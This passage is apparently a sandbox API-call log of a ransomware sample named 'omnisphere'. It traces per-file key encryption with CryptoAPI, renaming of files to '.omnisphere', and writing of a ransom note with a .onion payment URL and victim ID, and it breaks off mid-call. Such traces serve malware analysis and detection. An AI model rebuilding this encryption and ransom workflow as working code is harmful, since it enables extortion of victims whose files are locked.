[0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16691a8) returned 1 [0118.239] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.239] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.239] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.239] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0118.239] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b0, lpName=0x0) returned 0x288 [0118.239] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b0) returned 0x1480000 [0118.239] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0118.240] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.240] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.241] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.241] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.241] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.241] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.242] GetProcessHeap () returned 0x1600000 [0118.242] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x16a0a20 [0118.242] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-hpiv8b0j5lezuuxms.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-hpiv8b0j5lezuuxms.lnk.omnisphere")) returned 1 [0118.242] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk.omnisphere.id" [0118.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-hpiv8b0j5lezuuxms.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.243] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.244] CloseHandle (hObject=0x3c0) returned 1 [0118.245] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.245] CloseHandle (hObject=0x288) returned 1 [0118.245] SetEndOfFile (hFile=0x28c) returned 1 [0118.245] FlushFileBuffers (hFile=0x28c) returned 1 [0118.248] CloseHandle (hObject=0x28c) returned 1 [0118.248] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.248] GetProcessHeap () returned 0x1600000 [0118.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a0ce8 [0118.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.248] GetProcessHeap () returned 0x1600000 [0118.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693940 [0118.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693940, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.248] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.249] GetProcessHeap () returned 0x1600000 [0118.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687028 [0118.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687028, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.249] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.249] GetProcessHeap () returned 0x1600000 [0118.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16310c8 [0118.249] PathCombineW (in: pszDest=0x16310c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.249] GetProcessHeap () returned 0x1600000 [0118.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1696c58 [0118.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.249] WriteFile (in: hFile=0x28c, lpBuffer=0x1696c58*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1696c58*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.249] CloseHandle (hObject=0x28c) returned 1 [0118.249] GetProcessHeap () returned 0x1600000 [0118.249] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a0ce8 | out: hHeap=0x1600000) returned 1 [0118.249] GetProcessHeap () returned 0x1600000 [0118.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.249] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.250] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.265] CloseHandle (hObject=0x28c) returned 1 [0118.265] GetProcessHeap () returned 0x1600000 [0118.265] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.265] GetProcessHeap () returned 0x1600000 [0118.265] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630ea0 | out: hHeap=0x1600000) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de56b68, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f523332, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f523332, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4f5, dwReserved0=0x0, dwReserved1=0xd3, cFileName="-tJJk6- Iis.lnk", cAlternateFileName="-TJJK6~1.LNK")) returned 1 [0118.265] GetProcessHeap () returned 0x1600000 [0118.265] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x16568c8 [0118.265] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="-tJJk6- Iis.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk" [0118.265] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-tjjk6- iis.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.266] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1269) returned 1 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.266] GetTickCount () returned 0x115d8e8 [0118.267] GetTickCount () returned 0x115d8e8 [0118.267] GetTickCount () returned 0x115d8e8 [0118.267] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16681b8) returned 1 [0118.267] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0118.267] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.267] CryptDestroyKey (hKey=0x1639868) returned 1 [0118.267] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0118.267] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f5, lpName=0x0) returned 0x288 [0118.289] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f5) returned 0x1480000 [0118.290] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0118.290] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0118.290] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 